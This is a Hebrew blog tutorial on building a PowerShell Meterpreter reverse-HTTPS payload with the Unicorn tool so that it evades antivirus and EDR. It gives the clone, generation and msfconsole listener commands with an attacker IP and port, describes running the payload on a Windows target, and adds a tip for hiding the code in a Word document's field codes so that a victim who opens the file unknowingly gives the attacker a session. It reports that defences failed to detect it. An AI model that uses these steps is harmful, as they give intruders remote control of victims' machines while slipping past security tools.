יצירת Payload באמצעות Unicorn

עבודה ויצירה של Payload תמיד מרתקת בכל פעם מחדש, במיוחד במצבים בהם מזריקים את הקוד ישירות לזכרון ועוקפים מערכות אנטי-וירוס ולעיתים מסוימות גם מערכות EDR.

ישנם כלים שונים בהם ניתן ליצור, להריץ ולעבוד עם Payload שונים, הכלי הנפוץ כיום הוא Kali עם Metasploit, ובאופן אישי אני מעדיף ועובד ביומיום עם Kali על גבי Windows 10.

לפני שנתחיל קצת מושגים כללים בשביל להבין מה אנו הולכים להריץ.

מערכת Kali והכלים שניתנים להתקנה כדוגמת Metasploit מכילים כמות גדולה של Payload שמתאימים לתרחישים שונים, כאשר המטרה של Reverse Shell ושל Payload היא פשוטה: לקבל Shell. לעיתים ישנו כבר סשן ואין צורך ליצור Revere Shell.

במערכת Kali ישנם Payload שונים והמוכר שבהם הוא windows/meterpreter/reverse_tcp, למרות הפופלריות שלו ישנם Payload טובים יותר, כדוגמת windows/meterpreter/reverse_https עם מספר יתרונות, כגון: תווך מוצפן, לאחר ניתוק חלקי עדיין יודע לקבל מידע אודות הסשן, יותר קל למימוש.

Meterpreter חלק מתוך Payload אשר מבצע פעולה הניתנת להרחבה באופן דינמי, לדוגמה, ניתן לבצע פעולות שונות ברמת הזכרון ובמידת הצורך להרחיב ברמת תקשורת.

Payload – חלק מתוך Exploit ומכיל מידע מסוג metadata, ולמעשה הוא החלק שעובר אל היעד והטריגר להפעלה של קוד זדוני.

Exploit -הפעולה אשר מבצעת את ההפעלה ושולחת את המידע ותפקידה העיקרי הוא לנצל חולשה, לנצל הגדרה לא נכונה וכן הלאה, ולאחר מכן לאפשר גישה לנתונים על מנת לקבל הרשאות ומידע.

למעשה Meterpreter נמצא בתוך Metasploit ולכן אם עובדים מול מערכות Windows נשתמש בMeterpreter מסוג windows/meterpreter ובמידה עובדים עם מערכות לינוקס נשתמש linux/meterpreter וכן הלאה

אם למשל נריץ מתוך Kali את הפקודה show payloads נוכל לקבל רשימה ארוכה של Payload אשר נמצאים במערכת.

הכנה והרצה של Unicorn

כלי Unicorn הוא כלי פשוט המאפשר יצירה והרצה של PowerShell לטובת מתקפה מבוססת זכרון המאפשרת עקיפה של אנטי-וירוס מקומי.

ע"י הרצה של הכלי ניתן ליצור באופן פשוט יחסי קוד זדוני מבוסס PowerShell שניתן להרצה מתוך כלים שונים, החל מגרסאות Office השונות, באמצעות Cerutil וכן הלאה.
בכדי לעבוד עם הכלי יש לבצע את הפעולות הבאות:

דרישות

  • מערכת Kali מעודכנת (המאמר מבוסס על Kali על גבי Windows 10)
  • כלי Metasploit Framework מותקן באופן מלא
  • מחשב תקיפה עם מערכת Kali
  • מחשב יעד מבוסס Windows 10 (אפשרי גם Windows Server)

התקנת Unicorn

מתוך ממשק Kali נשכפל את Unicorn לספריה חדשה באמצעות הפקודה הבאה

git clone https://github.com/trustedsec/unicorn

2018-12-21_23h40_59
לאחר מכן נריץ את הפקודה הבאה

cd unicorn/

נוודא שהכלי Unicorn הותקן בהצלחה ע"י הפקודה הבאה

./unicorn.py –help

לאחר התקנה של Unicorn נתחיל ביצירת Payload מסוג Reverse HTTPS עם פרמטר של מחשב יעד וכן פורט רלוונטי.

./unicorn.py windows/meterpreter/reverse_https 192.168.1.209 443

2018-12-21_23h52_01.png
לאחר יצירת Payload נוצרים שני קבצים כאשר החשוב בהם הוא powershell_attack.txt ולמעשה הוא הקובץ שמכיל את הקוד הזדוני.

לאחר יצירת Payload נפעיל Metasploit בכדי להשתמש באותו Payload שיצרנו באמצעות הפקודה הבאה

msfconsole -r /opt/unicorn/unicorn.rc

2018-12-21_23h58_18

2018-12-21_23h58_23

בסיום נוכל לקחת את הקובץ powershell_attack.txt ולהתחיל בהרצה מול תחנת היעד, ניתן להפעיל את הקובץ בכמה צורות: הרצה של קובץ PowerShell, הזרקה לתוך קובץ Office, יצירה בתוך קובץ Macro וכן הלאה.

במידה ונריץ את הקובץ בתחנת ידע באמצעות PowerShell נוכל לקבל פלט של מספרים שונים, לאחר מכן נמשיך לבצע פעולות רגילות במחשב ובינהם גישה לפורט 443.

2018-12-22_00h03_16
בצד השני של התוקף נוכל לראות את הגישה אשר נעשתה מתוך תחנת היעד ואת הסשן שנוצ, מכאן אנו יכולים לבצע פעולות שונות אל תחנת היעד.
במצב הזה התוקף מאזין לגישה שמבצעים בפורט 443.
2018-12-22_00h03_36
הערה: במצב של הפעלה הקבצים באמצעות PowerShell ובאמצעות Office מערכות האנטי-וירוס וכן מערכת EDR לא ביצעה זיהוי על הפעולות שבוצעו.

טיפ: הזרקה של הקוד לתוך קובץ Word

  • מתוך קובץ Word חדש נבחר באפשרות Quick Parts
  • לאחר מכן נבחר באפשרות Field
  • לאחר מכן נבחר באפשרות Formula ונלחץ OK
  • בתוך הקובץ יופיע הטקסט !Unexpected End of Formula
  • בתוך הטקסט נבחר באפשרות Toggle Field Codes
  • לסיום נעתיק את התוכן מתוך קובץ PowerShell ונשמור את הקובץ

לאחר מכן שנפתח את הקובץ לא נבחין בהתנהגות שונה, אך אם נאזין שוב במחשב תקיפה עם מערכת Kali באמצעות ממשק MSF נוכל לראות שנפתח סשן חדש ואנו יכולים להתחיל בביצוע פעולות מתוך המחשב תקיפה אל המחשב יעד.

2 Responses

  1. 29/12/2018

    […] ברשת ובעיקר באתר Github ישנם כמות עצומה של כלים שניתן להפעיל כגון Unicorn המאפשר להריץ ולהכין Payload. […]

  2. 25/01/2019

    […] הדוגמאות שהעליתי בעבר ניתן לראות כמה קל ליצור Payload באמצעות Unicorn, כמובן צריך לקחת הכל בפרופורציות ובכדי לעקוף מנגנונים […]

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *